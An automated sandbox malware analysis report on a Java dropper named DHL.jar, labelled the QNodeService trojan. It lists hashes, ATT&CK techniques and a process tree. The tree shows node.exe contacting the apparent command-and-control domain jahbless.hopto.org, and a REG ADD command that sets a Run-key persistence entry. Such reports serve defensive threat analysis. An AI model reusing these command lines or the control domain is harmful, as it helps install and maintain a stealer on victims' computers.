qnodeservice | f104ffa104dc5c0739ed98c605c0cc32fc148aa40dab5de2916d9b1f864a4654

General

Target

DHL.jar
Size

318KB
MD5

ba3c3a491c1f542ba70b5cba78664c27
SHA1

e3f3836cbd6c20799d5fd847852732ec6bbb64a6
SHA256

f104ffa104dc5c0739ed98c605c0cc32fc148aa40dab5de2916d9b1f864a4654
SHA512

7d0201320644db94497f6e1d0584a2be985210c205ae63a3ba4aaa7831d778aa5893e608ed96c082e31f4e63173ff626043cf90af93a2a747710366fa6745b50

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3848	node.exe
2172	node.exe
968	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\4150b6ef-79e8-4958-a0e7-711c10eeb34d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad91-167.dat	js
behavioral2/files/0x000100000001ad91-172.dat	js
behavioral2/files/0x000100000001ad91-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	wtfismyip.com
19	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3848	node.exe
3848	node.exe
3848	node.exe
3848	node.exe
2172	node.exe
2172	node.exe
2172	node.exe
2172	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe
968	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3700 wrote to memory of 1744	3700	java.exe	74
PID 3700 wrote to memory of 1744	3700	java.exe	74
PID 1744 wrote to memory of 3848	1744	javaw.exe	78
PID 1744 wrote to memory of 3848	1744	javaw.exe	78
PID 3848 wrote to memory of 2172	3848	node.exe	80
PID 3848 wrote to memory of 2172	3848	node.exe	80
PID 2172 wrote to memory of 968	2172	node.exe	81
PID 2172 wrote to memory of 968	2172	node.exe	81
PID 968 wrote to memory of 2972	968	node.exe	83
PID 968 wrote to memory of 2972	968	node.exe	83
PID 2972 wrote to memory of 1196	2972	cmd.exe	84
PID 2972 wrote to memory of 1196	2972	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DHL.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3700
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\7c354b6e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vwXpV9\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2172
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vwXpV9\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:968
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4150b6ef-79e8-4958-a0e7-711c10eeb34d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4150b6ef-79e8-4958-a0e7-711c10eeb34d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/968-177-0x000000E6BE4C0000-0x000000E6BE4C1000-memory.dmp

Filesize
4KB

Download
memory/2172-173-0x000001F93B900000-0x000001F93B901000-memory.dmp

Filesize
4KB

Download
memory/3848-170-0x000001F018240000-0x000001F018241000-memory.dmp

Filesize
4KB

Download

Analysis

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